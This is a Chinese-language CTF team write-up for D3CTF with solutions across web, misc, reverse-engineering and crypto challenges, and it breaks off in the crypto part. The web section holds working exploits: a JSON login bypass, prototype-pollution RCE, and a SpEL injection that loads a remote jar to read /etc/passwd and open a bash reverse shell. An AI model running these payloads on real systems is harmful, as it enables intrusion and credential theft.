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Web

8bithub

json sql注入登录admin账号

{"username":"admin","password":{"password":1}}

服务端使用sendmailer包发邮件，通过调试可以进行原型链污染实现RCE

Exp如下

import requests as r

tmp = r.post('http://7281fd0fb4.8bit-pub.d3ctf.io/user/signin',json={"username":"admin","password":{"password":1}}, verify=False)

print(tmp.text)

data = {
    "constructor.prototype.args": ["-c", "/readflag > '/tmp/.asd'"],
    "constructor.prototype.path": "/bin/sh",
    "constructor.prototype.sendmail": ["1"],
    "subject": "1",
    "text": "1",
    "to": "eki@bupt.edu.cn"
}

res = r.post('http://7281fd0fb4.8bit-pub.d3ctf.io/admin/email', cookies=tmp.cookies, json=data, verify=False)

print(res.text)

data = {
    "subject": "1",
    "text": "1",
    "to": "eki@bupt.edu.cn",
    "attachments":{
        "path":"/tmp/.asd"
    }
}

res = r.post('http://7281fd0fb4.8bit-pub.d3ctf.io/admin/email', cookies=tmp.cookies, json=data, verify=False)

print(res.text)

Happy_Valentine’s_Day

在/love 里面传了一个name一个password
发现name会将参数传进去

<!-- I'm so sorry that the preview feature is under development, and it's not secure. -->
<!-- So only internal staff can use it. -->
<!-- <a href="/1nt3na1_pr3v13w">Preview</a> -->

所以有漏洞的页面就是/1nt3na1_pr3v13w
FUZZ一下发现
name参数为[[${12*12}]]
在/1nt3na1_pr3v13w可以输出为144
所以可以确实是spel注入
之后有一个waf
]]前加上换行就可以绕过
下方java打包成jar
love传POST

name=[[${new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://xxx/Cmd.jar")}).loadClass("Cmd").getConstructor().newInstance().toString()}
]]

之后访问/1nt3na1_pr3v13w即可反弹shell

import java.io.*;
import java.util.*;

public class Cmd {
    String res;

    public Cmd() {
        try {
            File dir = new File("/");
            String[] children = dir.list();
            if (children == null) {
            } else {
                for (int i = 0; i < children.length; i++) {
                    String filename = children[i];
                    res += filename + '\n';
                }
            }

            BufferedReader in = new BufferedReader(new FileReader("/etc/passwd"));
            String str;
            while ((str = in.readLine()) != null) {
                res += str + '\n';
            }
            String cmd = "'bash -i >& /dev/tcp/xxxx/9999 0>&1'";
            String[] cmdstr = { "/bin/sh", "-c", cmd };
            Runtime.getRuntime().exec(cmdstr);

            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/xxxx/9999 0>&1");




        } catch (IOException e) {
            res += e.toString();
        }
    }

    @Override
    public String toString() {
        return res;
    }
}

连进去发现没有权限
打包成tar
放到vps上之后将

CVE-2021-3156

Sudoedit -s /
存在可利用sudo漏洞的报错

Misc

Robust

首先拿到流量包发现为QUIC协议，一种udp协议（更加稳定）。
既然给了SSlkey.log首先就是进行解包。
可以得到http3 协议的包文件。
可以导出流查看，发现是每差值为4进行一个流的传递。

这个包传递了一个html，然后下面的包传递了m3u8 是一种

标签用于指定 m3u8 文件的全局参数或在其后面的切片文件/媒体播放列表的一些信息

可以发现音频共被切片成 17份，而第16个包。

通过搜索发现，此应为数据中的enc.key.加密方法是aes-128-cbc
那么密钥应该是32个的16进制字符。
在放出Hint前一直被蛊惑，后来意识到应该是左边的16进制数据。
但是后面的ts文件比较特殊，headers需要被去掉。有的末尾有SegmentFault也要去掉。
通过追踪流提取原始数据来提取。
以0.ts为例
从这个包的data段开始

这个包的data段结束

即可提取出所有的ts文件
随后利用 openssl解密所有的ts文件。

import os
for i in range(0,17):
    os.system("openssl aes-128-cbc -d -in {}.ts -out audit{}.ts -nosalt -iv 00000000000000000000000000000000 -K 34363238656561363031396632323631".format(i,i))

可以得到完整的音频，这里题目作者给出了提示modem解调，还给了一个github链接，里面第一个就提到了quiet工具。我们通过查看频谱也发现，高频段有人耳听不见的数据。
https://github.com/quiet/quiet。
我们也尝试了quiet-js，但是没有效果，且使用比较受限，容错率低，于是就老老实实部署编译quiet。
主要的部署脚本在https://github.com/quiet/quiet/blob/master/.travis.yml，跟着一步一步复制粘贴就能得到可以解题的”quiet_decode_file”可执行文件。最后多个配置尝试下来，用的是ultrasonic配置才解开。具体命令(首先要将提出来的wav重命名为encoded.wav)：quiet_decode_file ultrasonic flag.file
通过这个工具可以成功解调频得到 flag.file
经过cyberchef自动识别，可以发现是一个zip.
zip里面给出了信息，网易云音乐，音乐id以及歌词json 。
可以想到明文攻击，通过明文攻击可以打开压缩包。
发现另一个txt是一个中国的galgame的剧本。
用010可以发现其中有读不到的空白字符。想到零宽度隐写。

然后base85一把梭

easyQuantum

是一个类量子加密通讯。
可以通过如下的这个链接来学习
https://zhuanlan.zhihu.com/p/80113695
从中我们可以得知。只要测量基一样。那么这个密钥就是被确定的。
流量包里的数据都是pickle序列化过的。
那么除了流量中的过短数据需要抛出当前段和上一段数据外。
以及第一段数据声明了密钥长度。
结尾给出了密文。可知是亦或加密的。
那么除此之外其他数据均为3个一组。进行比对而后取得密钥串。
通过查看流量，有序列化的痕迹，换了各种版本的python与各种包，最后确定是python3的pickle序列化，且用了numpy的库，所以说，第一步要反序列化，接下来再考虑量子通信计算。
为了方便操作，我把四种状态换成了字母进行处理。下面是我的脚本。

import pickle
import numpy

# [0,1] -> |0> -> w 
# [1,0] -> |1> -> s
# [+,-] -> |0> + |1> -> a
# [+,+] -> |0> - |1> -> d


# 0 0 -> |0>       -> w 
# 0 1 -> |1>       -> s
# 1 0 -> |0> + |1> -> a
# 1 1 -> |0> - |1> -> d

name = "src_50000.txt"
content = open(name).read()
content = content.strip()
content = content.split("\n")

Q = []
Q_fin = []
ali = []
bob = []
bob_fin = []


def QTrans(ll):
    tmp = []
    for l in ll:
        if l[0] == 0 and l[1] == 1:
            tmp.append("w")
            continue
        if l[0] == 1 and l[1] == 0:
            tmp.append("s")
            continue
        if l[1] < 0:
            tmp.append("a")
            continue
        if l[1] > 0:
            tmp.append("d")
            continue
    Q_fin.append(tmp)

for i in content:
    a = (pickle.loads(bytes.fromhex(i)))
    if type(a) == list and type(a[0]) == numpy.ndarray: # Quantum
        QTrans(a)
    else:
        ali.append(a)
print(ali[-1])

name = "src_52926.txt"
content = open(name).read()
content = content.strip()
content = content.split("\n")
for i in content:
    a = (pickle.loads(bytes.fromhex(i)))
    bob.append(a)
for i in range(len(Q_fin)):
    if not type(bob[i]) == str:
        Q.append(Q_fin[i])
        bob_fin.append(bob[i])

ali = ali[1:-1]


for i in range(len(Q)):
    print("Alice:",ali[i],"Q",Q[i],"Bob",bob_fin[i])

# [0,1] -> |0> -> w 
# [1,0] -> |1> -> s
# [+,-] -> |0> + |1> -> a
# [+,+] -> |0> - |1> -> d


# 0 0 -> |0>       -> w 
# 0 1 -> |1>       -> s
# 1 0 -> |0> + |1> -> a
# 1 1 -> |0> - |1> -> d

key = []

def keyGen():
    for i in range(len(ali)):
        for j in range(4):
            # print(Q[i][j],bob_fin[i][j],ali[i][j])
            if Q[i][j] == "w" and bob_fin[i][j] == 0:
                key.append(0)
            if Q[i][j] == "s" and bob_fin[i][j] == 0:
                key.append(1)  
            if Q[i][j] == "a" and bob_fin[i][j] == 1:
                key.append(0)
            if Q[i][j] == "d" and bob_fin[i][j] == 1:
                key.append(1)
keyGen()

这里的key最后要取反再异或后面那个十六进制，反正我也没整明白到底是咋回事，能整出flag就完事了hhhh

SignIn

Tg群。

Virtual Love

Strings 一把梭

Virtual Love Revenge

可以机灵的发现原来flag的地方变成了压缩包密码

一把梭

Virtual Love Revenge 2.0

打开虚拟机发现被加密，按道理来说硬盘也会被加密，但是没有，估计是伪加密一类的
给了iso镜像文件，本地用这个镜像文件建一个虚拟机，硬盘大小设为20g
通过对比自己本地的虚拟机vmdk和题目给的vmdk，发现了一些问题，并修复
修复vmdk

修复其他s00x.vmdk文件，把本地的前面一部分直接复制粘贴过去，需要修复“22”前面的文件头

而后我们可以通过一个从给定的iso来加载新的虚拟磁盘。

加载后通过题目描述guest成员可以无密码登录。
之后通过 cat ~/.bash_history 获取信息可以发现
提示登录root用户。
通过010editor 观察发现。
修复的vmdk 002中存在如下数据（已经修改）

这里的root密码可以被我们修改。

python3 -c 'import crypt,getpass;pw=getpass.getpass();print(crypt.crypt(pw) if (pw==getpass.getpass("Confirm: ")) else exit())'

然后填入到数据里面（这里密码为root)
就可以实现登录了

根据这里面的压缩包密码和提示即可解出flag。

shellgen2

感觉题目改了一次，waf拦截的变少了。需要用户构造一个python脚本来获取之前生成随机字符串，再生产php脚本输出一样的字符串，难点在waf限定了能用的字符和对脚本长度要求。

 if not phpshell.startswith(b'<?php'):
        return True
    phpshell = phpshell[6:]
    for c in phpshell:
        if c not in b'0-9$_;+[].=<?>':
            return True
        else:
            print(chr(c), end='')

故可利用php字符累加的特性获得所需要的字母。

参考http://www.thespanner.co.uk/2012/08/21/php-nonalpha-tutorial/

首先需要a，可利用$_=[].[]被转为ArrayArray的特性获取字母，如果是常用的''.[]会被waf。

方法一
显示太长了

def waf(phpshell):
    if not phpshell.startswith('<?php'):
        return False
    phpshell = phpshell[5:]
    for c in phpshell:
        if c not in '0-9$_;+[].':
            return False
    return True



prefix = '<?php $_=[].[];$__=0;$__++;$__++;$__++;$_=$_[$__];'
# $_= 'a'

end = """
<?=$___?>
"""


def genchar(c,i):
    t = ord(c)-ord('a')
    x = "${0}".format("_"*i)
    poc = x+"=$_;"
    if t>0:
        for i in range(t):
            poc+=x+"++;"
    else:
        for i in range(t):
            poc+=x+"--;"
    return poc

def genstr(randomStr):
    poc = prefix
    for i in range(len(randomStr)):
        poc += genchar(c=randomStr[i],i=i+4)
    poc+="?>"
    for i in range(len(randomStr)):
        poc += "<?="+"${0};".format("_"*(i+4))+"?>"
    poc+=">"
    return poc[:-1]

print(genstr(input()))

方法二
构造出所有字符的表示方法，因为waf规定只能由0和9，所以参数名字只能用_09实现。最后输出时使用段标签<?=xx>

target=input()
st="<?php $_=[].[];$__=0;$__++;$__++;$__++;$_0=$_[$__];"
keylist="_09"
strlist={}
p=0
for i in range(3):
    for j in range(3):
        for k in range(3):
            strlist[p]= "$_"+keylist[i]+keylist[j]+keylist[k]
            p+=1
for i in range(26):
    st+=strlist[i]+"=$_0;"
    st+="$_0++;"
st+="?>"
for c in target:
    st+="<?="+strlist[ord(c)-97]+";?>"
print(st,end='')

Re

ancient

（非常恶心的一道题，不知道预期解是什么方式，我是猜+爆破出来的，过两天看看别的队的师傅是咋搞的

分析

在 IDA 中打开文件，无壳，但是字符串也都被加密过了
main 函数有一处花指令，patch 掉之后就能看伪代码了
这里是输入之后的预判断，可知长度为 56，开头为 d3ctf
然后就是一路经过了几次拷贝，反正不太重要，跟一遍就能看懂，就是把输入串接到了程序一开始打印的提示后面，称这个变量为 plaintext 吧
然后来到了关键的 malloc 处
malloc 这里开辟了一个 buffer，接下来的两条指令初始化了一个加密时候会用到的东西，把它叫做 context 吧
这里就是进行了加密
在加密函数里一定会来到这个 else 分支，里面的这个函数每次接收 context 和 plaintext 的一个字符，还有之前初始化的 buffer
动调可以发现， buffer 每次经过这个 subEnc 函数会多增加一个密文，但这也不完全是一个流密码，因为产生第 n 位密文的同时会影响之前的若干个（多数是 1 个密文）
加密出来之后与在 init 阶段初始化的密文进行比较，相等的字符数量要 >=178 才行，把相等的字符数记为 cmp
这个函数会导致程序卡死，里面全是花指令，把花指令全部 patch 掉之后分析，发现是在对之前比较的 cmp 进行反复的操作，似乎是奇数加一偶数减一，所以直接 patch 掉就行了
然后根据 cmp 是由大于 178 判断输入是否正确

解决

subEnc 看了老半天没看懂，懒得看了
之后想的第一件事就是能不能用自动化分析工具进行一下黑盒测试，因为 178 减去程序之前输出的 hint 的长度基本等于输入字符串的长度，所以新增加一位正确的明文，有大概率会新产生一位正确的密文
这里我选择用 pin tools 进行黑盒测试，主要的思路就是枚举所有的输入，然后让程序运行到 0x401C87 处。如下图所示，这地方会把 cmp 放到寄存器里，在这里插个桩然后让 pin 输出一下 rdi 的值就可以知道这时候产生了几位正确的密文了
直接在最常用的 inscount0 里面魔改了
然后写个 Python 脚本爆破输入。

from collections import defaultdict
from subprocess import Popen, PIPE
import string
import threading
import itertools

charset = [‘_’]
for i in string.ascii_uppercase:

charset.append(i)
for i in string.ascii_lowercase:

charset.append(i)
for i in range(10):

charset.append(chr(ord('0')+i))
class PinInsCountHandler:
def init(self, target_p, pin_p: str = “./pin”, lib_path: str = “./obj-intel64/inscount0.so”) -> None:
pin_path = pin_p
target_path = target_p
self.process = Popen(
[pin_path, ‘-t’, lib_path, ‘—‘, target_path], stdin=PIPE, stdout=PIPE)

  def sendline(self, content):
      if type(content) == str:
          content = content.encode()
      content += b'\n'
      self.process.stdin.write(content)

  def recv(self):
      while True:
          content = self.process.communicate()[0].decode()
          if content:
              return content
def get_cmp(flag):
pin = PinInsCountHandler(“./problem”)
pin.sendline(flag)
output = pin.recv()
count = int(output.split(“Cmp: “)[1])
return count

def pad_flag(flag):
prefix = ‘d3ctf{‘
suffix = ‘}’

  pad_len = 56-len(prefix)-len(suffix)-len(flag)
  padded = prefix+flag+pad_len*'_'+suffix
  return padded
get_cmp(pad_flag())
limit = threading.Semaphore(value=6)

class MyTh(threading.Thread):
flag = ‘w0W_sEems_u_bRe4k_uP_tHe_H1DdeN_s7R’

  def __init__(self, sub_flag, result: dict) -> None:
      super().__init__()
      self.sub_flag = sub_flag
      self.result = result

  def run(self):
      try:
          self.run_my_code()
      finally:
          limit.release()

  def run_my_code(self):
      _flag = pad_flag(MyTh.flag+self.sub_flag)
      cmp = get_cmp(_flag)
      print(self.sub_flag, cmp)
      self.result[cmp].append(self.sub_flag)
def multi_thread_bruteforce():
result = defaultdict(list)
ts = []
for s in itertools.permutations(charset, 2):
limit.acquire()
tmp = ‘’.join(s)
t = MyTh(tmp, result)
ts.append(t)
t.start()
for t in ts:
t.join()
return result

re = multi_thread_bruteforce()
print(re)

这个脚本基本就相当于一个深度优先搜索吧，但是想了想，感觉剪枝不太好写，加之爆了几位发现 flag 是有字面意思的，所以就人工剪枝了（草
说一下爆破的大致流程吧，最开始 flag 是 ”，此时爆前一位或前两位，发现 ‘w0’ 会让相等的密文数量增加，由此就可以确定前两位，然后接着把脚本里面的 flag 改成 ‘w0’，接着爆 3、4 位，可以猜 + 爆破出 ‘w0W_’，以此类推
这里第一次用多线程 + pin 的方式做题，本来以为会非常快，但是创建子进程的开销还是太大了，所以在自己电脑上跑的贼慢，不过做题的时候居然也忍了，最后做的差不多了才想起来可以租 vps ，在腾讯云租了个 64 核的 vps 之后试了试发现快的一批，早这样的话估计能留出时间再做道逆向的 qaq
反复运行上面这个脚本，最后就把整个 `flag` 爆出来了
flag: d3ctf{w0W_sEems_u_bRe4k_uP_tHe_H1DdeN_s7R_By_Ae1tH_c0De}

No Name

实际逻辑存在于data.enc中，进行解密后释放到jar，然后动态加载为虚拟机字节码进行执行
加载完之后还会立即删除data.jar
由于开启了保护，无法进行hook获得实际解密密钥，使用apktool解包重打包
删除掉NoNmae smail中的delet语句，重新打包，autosign签名
，签名之后直接安装
打开应用后在/data/data/com.d3ctf.noname目录下找到data.jar
查看逻辑是一个简单的异或，异或回去即可

#include <stdio.h>

int main()
{
    int i=0;
    int test[]={49, 102, 54, 33, 51, 46, 0x60, 52, 109, 97, 102, 52, 97, 55, 55, 97, 52, 0x60, 0x60, 109, 51, 101, 103, 101, 100, 98, 109, 103, 109, 54, 97, 55, 52, 98, 97, 98, 0x60, 99, 40};
    for(i=0;i<39;i++){
        printf("%c",test[i]^85);
    }

    return 0;
}

jumpjump

在函数sub_40189D中判断长度为36，然后将字符串异或一个定值0x57储存起来

动调跟到这个位置进行了一次简单的处理，之后应该就是比较了，将密文提出来
进行解密

#include <stdio.h>

int main()
{
    int i=0;
    unsigned char ida_chars[] =
    {
        0x09, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x06, 0x00, 
        0x00, 0x00, 0x5A, 0x00, 0x00, 0x00, 0x5B, 0x00, 0x00, 0x00, 
        0x0A, 0x00, 0x00, 0x00, 0x54, 0x00, 0x00, 0x00, 0x05, 0x00, 
        0x00, 0x00, 0x4D, 0x00, 0x00, 0x00, 0x57, 0x00, 0x00, 0x00, 
        0x56, 0x00, 0x00, 0x00, 0x54, 0x00, 0x00, 0x00, 0x0B, 0x00, 
        0x00, 0x00, 0x4D, 0x00, 0x00, 0x00, 0x54, 0x00, 0x00, 0x00, 
        0x09, 0x00, 0x00, 0x00, 0x55, 0x00, 0x00, 0x00, 0x40, 0x00, 
        0x00, 0x00, 0x4D, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 
        0x06, 0x00, 0x00, 0x00, 0x59, 0x00, 0x00, 0x00, 0x0B, 0x00, 
        0x00, 0x00, 0x4D, 0x00, 0x00, 0x00, 0x55, 0x00, 0x00, 0x00, 
        0x54, 0x00, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x57, 0x00, 
        0x00, 0x00, 0x5B, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 
        0x0B, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x05, 0x00, 
        0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 
        0x09, 0x00, 0x00, 0x00, 0x08, 0xF0, 0x49, 0x00, 0x00, 0x00, 
        0x00, 0x00, 0x96, 0xF1, 0x49, 0x00, 0x00, 0x00, 0x00, 0x00
    };


    for(i=0;i<144;i+=4){
      printf("%c",((ida_chars[i]^0x33)-4)^0x57);
    }
    return 0;
}

得到flag

whitegive

全部是混淆，动调确定常量，其中的各种复杂位运算其实都是与或加法的复杂写法，很容易找出规律
就是套娃
然后一步步跟进，发现字符串要求是64字节，每4字节生成32字节，然后得到了512字节的数据
最后有sbox置换（是一个可逆的置换盒），加法和异或等加密得到最后的512与数据对比，判断对错
所以可以先反向得到加密前的512字节
4字节来爆破生成的32字节，来对比确定4字节对不对，最后得到flag

#include<cstdio>
#include<cstdlib>
#include<cstring>
unsigned char flag[65];
unsigned char buf1[1000];

unsigned char real_buf1[512] = {
  0x2B, 0x75, 0xDD, 0x89, 0x55, 0x4C, 0x62, 0xE2, 0xF0, 0xFC, 
  0x2A, 0x56, 0x51, 0x4D, 0x41, 0x44, 0x1E, 0x7C, 0x88, 0x17, 
  0x92, 0xBD, 0xA5, 0xE6, 0xF1, 0xAD, 0x27, 0xE0, 0xE0, 0x19, 
  0xFD, 0x3F, 0xC7, 0x5A, 0x87, 0xD2, 0xF9, 0x77, 0xD7, 0x26, 
  0x7C, 0xA6, 0xCA, 0xBF, 0x72, 0x69, 0x03, 0x6B, 0xDE, 0x54, 
  0xD0, 0xDD, 0xE6, 0x8A, 0x2E, 0xDE, 0x61, 0x47, 0x76, 0x5C, 
  0xB2, 0x66, 0xB0, 0x9B, 0x77, 0xBC, 0xE4, 0x90, 0xDC, 0x57, 
  0x9C, 0x81, 0x61, 0x63, 0x2D, 0x6D, 0xDB, 0x73, 0x1A, 0xE3, 
  0x7E, 0xB7, 0xC2, 0x96, 0x68, 0x4C, 0xAC, 0x2E, 0x1F, 0x04, 
  0x79, 0x0B, 0x37, 0xE3, 0x7E, 0xF6, 0x2E, 0x1D, 0x91, 0xF8, 
  0x70, 0xF5, 0x7C, 0xDC, 0x16, 0x29, 0x9A, 0x14, 0xD9, 0xE8, 
  0xE8, 0xF0, 0xB8, 0x9B, 0xA7, 0xD4, 0xE3, 0x87, 0xA8, 0x0D, 
  0x36, 0x8C, 0x47, 0xA4, 0x37, 0x67, 0x7C, 0x9F, 0x18, 0xB0, 
  0x39, 0xC3, 0xF9, 0x31, 0xB6, 0x2B, 0xC6, 0x21, 0x17, 0x74, 
  0x47, 0x6A, 0x87, 0xDB, 0x3A, 0xAB, 0x1D, 0xFF, 0x14, 0x76, 
  0xF2, 0x5E, 0x33, 0xC4, 0xCC, 0xAA, 0xFB, 0xA9, 0x39, 0x3F, 
  0xFD, 0xD6, 0x64, 0xC6, 0x41, 0x5F, 0xB8, 0x70, 0xF3, 0x00, 
  0x0F, 0x6D, 0xC6, 0x63, 0xFA, 0xC3, 0x36, 0xD3, 0x44, 0x12, 
  0xE6, 0x9A, 0xCC, 0x36, 0xB0, 0x96, 0x60, 0x05, 0x03, 0x91, 
  0x29, 0x22, 0xB7, 0x1A, 0xD1, 0x74, 0xB9, 0x9C, 0x6F, 0xA9, 
  0x1E, 0x39, 0x90, 0x1D, 0xD8, 0xD1, 0x29, 0x83, 0xFA, 0x65, 
  0xD9, 0x73, 0x1B, 0x69, 0x1E, 0xDD, 0xE1, 0x71, 0x11, 0xA6, 
  0xB1, 0xD4, 0x44, 0x7E, 0x7D, 0xC4, 0xD9, 0x97, 0xF1, 0x45, 
  0xA3, 0x34, 0x96, 0xD8, 0x64, 0x60, 0x51, 0x86, 0x13, 0xE6, 
  0x79, 0x90, 0x7C, 0x22, 0x49, 0x9A, 0x33, 0xC8, 0x6D, 0x9C, 
  0x1F, 0xC4, 0x69, 0x10, 0xB0, 0x15, 0xFC, 0x9A, 0xC8, 0xAC, 
  0x2A, 0xDD, 0x84, 0xE4, 0xE5, 0x89, 0x0F, 0x8B, 0x69, 0x0E, 
  0x3A, 0xFE, 0xE0, 0xE6, 0x98, 0x36, 0x65, 0x42, 0xF2, 0x66, 
  0x40, 0x43, 0xBE, 0x26, 0x8F, 0x15, 0x58, 0x7A, 0x21, 0xEE, 
  0xEB, 0xF0, 0x9D, 0xF7, 0x33, 0x4D, 0xAA, 0x3B, 0x63, 0xA6, 
  0x0D, 0xB8, 0x3A, 0x4E, 0x11, 0x80, 0x36, 0x3F, 0xD0, 0xB4, 
  0x5E, 0xBA, 0xBB, 0x92, 0x57, 0xF5, 0x7B, 0x33, 0xF9, 0x66, 
  0xBB, 0xD2, 0xCE, 0xC8, 0x19, 0x8B, 0x1D, 0x67, 0x39, 0xAB, 
  0xFF, 0x3D, 0xEA, 0x3F, 0xE6, 0x15, 0xFB, 0xA9, 0x46, 0x4F, 
  0xFF, 0xF7, 0x00, 0xF5, 0x1F, 0xB6, 0x5F, 0xCE, 0x32, 0x2E, 
  0x28, 0xD2, 0xF1, 0x21, 0x7E, 0x7A, 0xA3, 0x0C, 0xDE, 0x2E, 
  0xBD, 0x1C, 0x88, 0x9E, 0x7F, 0x12, 0xCD, 0x59, 0x9D, 0x45, 
  0x13, 0x45, 0x19, 0x75, 0x0F, 0x6B, 0xBA, 0x74, 0x20, 0x74, 
  0x18, 0xA0, 0x89, 0xD3, 0x01, 0x63, 0xE6, 0x11, 0x34, 0x04, 
  0x68, 0x5A, 0x6A, 0xB7, 0xB2, 0x36, 0x6E, 0x16, 0x6E, 0xA0, 
  0x06, 0x52, 0xEC, 0x7C, 0x0F, 0xC0, 0x3D, 0x37, 0xCF, 0xDF, 
  0x80, 0x74, 0x69, 0x20, 0x5D, 0xBE, 0x8C, 0xAB, 0x5E, 0x11, 
  0x1A, 0x44, 0x4A, 0xE0, 0x6A, 0xAF, 0x3B, 0x04, 0x7D, 0x79, 
  0x09, 0xE5, 0x46, 0x0E, 0xEE, 0x9D, 0x36, 0xA8, 0xB1, 0x39, 
  0xB0, 0xF0, 0x5F, 0x02, 0x60, 0x63, 0xBB, 0xFB, 0xC4, 0xBB, 
  0x01, 0xF4, 0x8A, 0xDE, 0x3C, 0x06, 0x90, 0x1F, 0x8C, 0x47, 
  0xC4, 0x04, 0x8E, 0x9D, 0xBF, 0xAD, 0x95, 0x84, 0x68, 0x89, 
  0x9A, 0x4F, 0xF4, 0x6B, 0x52, 0x73, 0x0D, 0xEC, 0x99, 0x83, 
  0x61, 0x2F, 0xB3, 0x1B, 0x8F, 0xD8, 0x84, 0x1F, 0x91, 0xA6, 
  0xBF, 0xBE, 0x63, 0xA0, 0xEE, 0x16, 0xD5, 0x70, 0x73, 0xFC, 
  0xD9, 0x4E, 0x8E, 0xE0, 0x92, 0xEF, 0x4A, 0xEB, 0xEB, 0xCB, 
  0x7E, 0xA7
};
gned char rand_arr[300];
unsigned char box[256];
unsigned char tmp[520]; 

unsigned int a[9]={0x6A09E667,0x0BB67AE85,0x3C6EF372,0x0A54FF53A,0x510E527F,0x9B05688C,0x1F83D9AB,0x5BE0CD19};
unsigned int consts[65]={
 0x428A2F98,0x71374491,0x0B5C0FBCF,0x0E9B5DBA5,0x3956C25B,0x59F111F1,0x923F82A4,0x0AB1C5ED5
,0x0D807AA98,0x12835B01,0x243185BE,0x550C7DC3,0x72BE5D74,0x80DEB1FE,0x9BDC06A7,0x0C19BF174
,0x0E49B69C1,0x0EFBE4786,0x0FC19DC6,0x240CA1CC,0x2DE92C6F,0x4A7484AA,0x5CB0A9DC,0x76F988DA
,0x983E5152,0x0A831C66D,0x0B00327C8,0x0BF597FC7,0x0C6E00BF3,0x0D5A79147,0x6CA6351,0x14292967
,0x27B70A85,0x2E1B2138,0x4D2C6DFC,0x53380D13,0x650A7354,0x766A0ABB,0x81C2C92E,0x92722C85
,0x0A2BFE8A1,0x0A81A664B,0x0C24B8B70,0x0C76C51A3,0x0D192E819,0x0D6990624,0x0F40E3585,0x106AA070
,0x19A4C116,0x1E376C08,0x2748774C,0x34B0BCB5,0x391C0CB3,0x4ED8AA4A,0x5B9CCA4F,0x682E6FF3
,0x748F82EE,0x78A5636F,0x84C87814,0x8CC70208,0x90BEFFFA,0x0A4506CEB,0x0BEF9A3F7,0x0C67178F2
};
void generate(unsigned int *val,unsigned int *out)
{
    unsigned int v[10];
    for(int i=0;i<8;i++)
    {
        out[i]=a[i];
        v[i]=out[i];
    }
    unsigned int mem[64];
    mem[0]=*val;
    mem[1]=0x80000000;
    for(int i=2;i<15;i++)
        mem[i]=0;
    mem[15]=0x20;
    for(int i=16;i<64;i++)
    {
        unsigned int v7=(mem[i-2]<<15)|(mem[i-2]>>17);
        unsigned int v9=(mem[i-2]<<13)|(mem[i-2]>>19);
        unsigned int v13=mem[i-7]+(v7^v9^(mem[i-2]>>10));
        unsigned int v15=(mem[i-15]<<25)|(mem[i-15]>>7);
        unsigned int v17=(mem[i-15]<<14)|(mem[i-15]>>18);
        unsigned int v20=mem[i-16]+(v15^v17^(mem[i-15]>>3));
        mem[i]=v13+v20;
    } 
    for(int i=0;i<64;i++)
    {
        unsigned int v22=(v[4]<<21)|(v[4]>>11);

        unsigned int v23=((v[4]<<26)|(v[4]>>6))^v22;
        unsigned int v24=(v[4]<<7)|(v[4]>>25);
        unsigned int v25=(v24^v23)+v[7];
        unsigned int v26=(v[6]&~v[4])^(v[5]&v[4]);
        unsigned int v27=v26+v25;
        unsigned int v29=v27+consts[i];
        unsigned int v49=mem[i]+v29;
        unsigned int v30=(v[0]<<19)|(v[0]>>13);
        unsigned int v31=((v[0]<<30)|(v[0]>>2))^v30;
        unsigned int v32=(v[0]<<10)|(v[0]>>22);
        unsigned int v33=v32^v31;
        unsigned int v34=(v[0]&v[1])^(v[1]&v[2])^(v[2]&v[0]);
        unsigned int v35=v34+v33;
        v[7]=v[6];
        v[6]=v[5];
        v[5]=v[4];
        v[4]=v49+v[3];
        v[3]=v[2];
        v[2]=v[1];
        v[1]=v[0];
        v[0]=v35+v49;
    }
    out[0]+=v[0];
    out[1]+=v[1];
    out[2]+=v[2];
    out[3]+=v[3];
    out[4]+=v[4];
    out[5]+=v[5];
    out[6]+=v[6];
    out[7]+=v[7];

}
unsigned int out[30]={0};
unsigned char tbl[256]="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
int main()     
{
    unsigned char flag[100];
    unsigned int s=0;
    srand(0);
    for(int i=0;i<256;i++)
        rand_arr[i]=rand()&0xFF;
    for(int k=0;k<16;k++)
        for(int l=0;l<16;l++)
            box[16*k+l]=16*(15-k)+l;
    for(int m=1;m>=0;m--)
        for(int n=15;n>=0;n--)
        {
            for(int jj=1;jj<17;jj++)
                for(int kk=0;kk<16;kk++)
                    tmp[jj*16+kk-16]=(rand_arr[kk+16*n]*jj)&0xFF;
            for(int ll=0;ll<256;ll++)
            {
                real_buf1[m*256+ll]-=ll;
                real_buf1[m*256+ll]=real_buf1[m*256+ll]^tmp[ll];
            }

            for(int ii=0;ii<256;ii++)
                real_buf1[m*256+ii]=box[real_buf1[m*256+ii]];
        }
    for(int x=0;x<16;x++)
    {
        unsigned int *ptr=(unsigned int *)flag;
        for(int a=0;a<strlen((char *)tbl);a++)
            for(int b=0;b<strlen((char *)tbl);b++)
                for(int c=0;c<strlen((char *)tbl);c++)
                    for(int d=0;d<strlen((char *)tbl);d++)
                    {

                        flag[0]=tbl[a];
                        flag[1]=tbl[b];
                        flag[2]=tbl[c];
                        flag[3]=tbl[d];

                        generate(ptr,out);
                        for(int i=0;i<4;i++)
                        {
                            buf1[i]=(out[0]>>(24-8*i))&0xFF;
                            buf1[i+4]=(out[1]>>(24-8*i))&0xFF;
                            buf1[i+8]=(out[2]>>(24-8*i))&0xFF;
                            buf1[i+12]=(out[3]>>(24-8*i))&0xFF;
                            buf1[i+16]=(out[4]>>(24-8*i))&0xFF;
                            buf1[i+20]=(out[5]>>(24-8*i))&0xFF;
                            buf1[i+24]=(out[6]>>(24-8*i))&0xFF;
                            buf1[i+28]=(out[7]>>(24-8*i))&0xFF;
                        } 
                        bool find=true;
                         for(int i=0;i<32;i++)
                             if(buf1[i]!=real_buf1[x*32+i])
                            {
                                find=false;
                                 break;
                            } 
                        if(find)
                        {
                            printf("%c%c%c%c",flag[3],flag[2],flag[1],flag[0]);
                            goto target;
                        }

                    }
        target:
            s++;
    }


    return 0;    

}

Crypto

babyLattice

考虑r很小，有$b m + r= c + k n$，故构造格
\begin{bmatrix} n & 0 & 0 \ b & 1 & 0 \ c & 0 & X\end{bmatrix}
X为放缩因子，目标向量为$(k, m, 1)$时，通过格映射为向量$(r, m, X)$，调整X大小为$2^300$，可成功规约出目标向量，exp如下：

